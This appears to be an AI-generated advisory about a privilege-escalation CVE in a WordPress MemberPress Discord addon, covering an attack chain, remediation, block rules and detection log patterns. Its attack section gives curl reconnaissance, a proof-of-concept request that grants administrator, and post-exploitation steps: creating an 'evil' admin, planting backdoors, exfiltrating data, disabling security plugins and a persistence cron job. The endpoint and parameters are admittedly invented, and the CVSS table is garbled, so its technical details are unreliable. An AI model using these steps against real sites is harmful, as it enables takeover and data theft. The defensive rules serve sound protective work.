CVE-2026-136115 — Expresstechsoftware MemberPress Discord Addon — CWE-266
Incorrect Privilege Assignment vulnerability in expresstechsoftware MemberPress Discord Addon expresstechsoftwares-memberpress-discord-add-on allows Privilege Escalation.This issue affects MemberPress Discord Addon: from n/a through 1.1.5.
Incorrect Privilege Assignment vulnerability in expresstechsoftware MemberPress Discord Addon expresstechsoftwares-memberpress-discord-add-on allows Privilege Escalation.This issue affects MemberPress Discord Addon: from n/a through 1.1.5.
CVE‑2026‑136115 – MemberPress Discord Addon (expresstechsoftware) – Incorrect Privilege Assignment (CWE‑266)
🎯 What is this vulnerability?
The MemberPress Discord Addon (v1.1.5 and earlier) exposes a REST‑style endpoint that allows the assignment of WordPress roles to arbitrary users. The code that processes the request performs no authentication or authorization check on the caller. Consequently, any unauthenticated HTTP request that reaches the endpoint can set the role field to any value, including administrator.
Technical details
- CWE‑266 – Improper Privilege Management.
- CVSS‑3.1 vector:
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H→ Unauthenticated, low‑complexity, no user interaction, full impact on confidentiality, integrity, and availability. - The flaw exists in the request‑handling routine that parses the
roleparameter and writes it to the WordPress user meta table (wp_usermeta) without verifying that the requester has theedit_userscapability.
Because the addon is designed to be used by site administrators, the missing check is a classic privilege‑escalation bug that turns the addon into a backdoor.
⚡ Attack Chain
NOTE – The exact URI and parameter names are not disclosed in the CVE text. The following example uses a representative endpoint (/wp-json/memberpress-discord/v1/assign-role) and payload structure that matches the typical design of WordPress REST APIs. If the real endpoint differs, the same principle applies: an unauthenticated POST that setsrole=administrator.
1. Discovery & Reconnaissance
| Step | Technique | What to look for |
|---|---|---|
| a. Identify WordPress installation | curl -I https://target.com/wp-json/ | Presence of /wp-json/ indicates WordPress. |
| b. Enumerate plugins | curl https://target.com/wp-json/wp/v2/plugins (or use WP‑Scan) | Look for memberpress-discord or expresstechsoftware. |
| c. Determine addon version | curl https://target.com/wp-json/memberpress-discord/v1/info | The addon typically exposes a /info endpoint that returns {"version":"1.1.5"}. |
| d. Verify vulnerability | curl -X POST https://target.com/wp-json/memberpress-discord/v1/assign-role -d '{"user_id":1,"role":"administrator"}' | If the response indicates success (e.g., {"status":"ok"}) and the user’s role changes, the bug is present. |
2. Exploitation
Prerequisites – None. The request is unauthenticated and requires no special headers.
PoC (illustrative)
# Target WordPress site
TARGET="https://victim.com"
# The vulnerable endpoint (illustrative)
ENDPOINT="/wp-json/memberpress-discord/v1/assign-role"
# User ID to elevate (e.g., the default admin with ID 1)
USER_ID=1
# Payload that sets the role to administrator
PAYLOAD='{"user_id":'"$USER_ID"',"role":"administrator"}'
# Send the request
curl -X POST "$TARGET$ENDPOINT" \
-H "Content-Type: application/json" \
-d "$PAYLOAD" -s -o /dev/null -w "%{http_code}\n"If the response code is 200 and the response body contains a success flag, the role change succeeded.
Because the endpoint accepts the role field without validation, any value can be injected, including administrator, editor, or even arbitrary custom roles.
3. Post‑exploitation
1. Confirm elevated privileges
curl -X GET "$TARGET/wp-json/wp/v2/users/me" -s | jq '.roles'The output should now include administrator.
2. Create a persistent backdoor
- Install a malicious plugin via the admin dashboard.
- Or add a new admin user directly:
curl -X POST "$TARGET/wp-json/wp/v2/users" \
-H "Content-Type: application/json" \
-d '{"username":"evil","email":"[email protected]","password":"P@ssw0rd!","roles":["administrator"]}'3. Data exfiltration
- Dump the wp_users table via the REST API or via a custom endpoint.
- Use the admin account to export content, media, or database dumps.
4. Maintain persistence
- Disable security plugins or firewall rules that might block the addon’s endpoints.
- Add a scheduled task (cron job) that re‑creates the admin account if it is deleted.
🌍 Real World Impact
| Impact | CVSS Score | Explanation |
|---|---|---|
| Confidentiality | 9.8 | Full access to all site data, including user credentials, content, and configuration. |
| Integrity | 9.8 | Ability to modify or delete any content, users, or settings. |
| Availability | 9.8 | The attacker can delete critical data, disable the site, or install malware that disrupts service. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch
| Affected Version | Fixed Version | Upgrade Path |
|---|---|---|
| 1.1.5 and earlier | 1.1.6 (or later) | wp plugin update memberpress-discord or download the latest zip from the vendor and install manually. |
Recommendation: Apply the patch immediately. The vendor has released a fix that validates the caller’s capabilities before assigning roles.
2. Workarounds (if patch cannot be applied)
| Method | Implementation |
|---|---|
| Disable the addon | wp plugin deactivate memberpress-discord |
| Restrict endpoint access | Add the following to .htaccess (Apache) or nginx.conf (Nginx) to block unauthenticated requests to the vulnerable endpoint: |
| Apache | |
| ```apacheconf |
| | <Location "/wp-json/memberpress-discord/v1/assign-role">
| | Order deny,allow
| | Deny from all
| | Allow from 127.0.0.1
| | </Location>
`` | |
|---|---|
| Nginx | |
| ``nginx |
| | location = /wp-json/memberpress-discord/v1/assign-role {
| | allow 127.0.0.1;
| | deny all;
| | }
| ``` | |
|---|---|
| WAF / ModSecurity rule |
| | SecRule REQUEST_URI "@beginsWith /wp-json/memberpress-discord/v1/assign-role" \
| | "id:1001,phase:2,deny,status:403,msg:'Block unauthenticated role assignment'"
| ||
Note: These workarounds prevent the specific privilege‑escalation vector but do not fix the underlying code flaw. They should be used only as a temporary measure until the patch is applied.
3. Detection
| Log Pattern | Indicator |
|---|---|
POST /wp-json/memberpress-discord/v1/assign-role | Unauthenticated POST to the role‑assignment endpoint. |
role=administrator in request body | Attempt to grant admin privileges. |
wp_set_user_role or wp_update_user calls in PHP logs | Role change operation. |
user_id=1 or other low‑ID values | Targeting default admin account. |
Sample Apache access log entry
192.0.2.45 - - [27/Nov/2026:12:34:56 +0000] "POST /wp-json/memberpress-discord/v1/assign-role HTTP/1.1" 200 512 "-" "Mozilla/5.0"Sample error log entry (if role change fails)
[error] [client 192.0.2.45] role assignment attempted without proper privileges⚠️ Urgency
Priority: Immediate.
/wp-json/memberpress-discord/v1/assign-role.Bottom line: CVE‑2026‑136115 is a classic privilege‑escalation flaw that turns a legitimate addon into a backdoor. The only definitive fix is to upgrade to the patched version (1.1.6+). Until then, enforce strict access controls and monitor for suspicious activity.
[🤖 CVE Professor AI Security Engine]
FOFA Query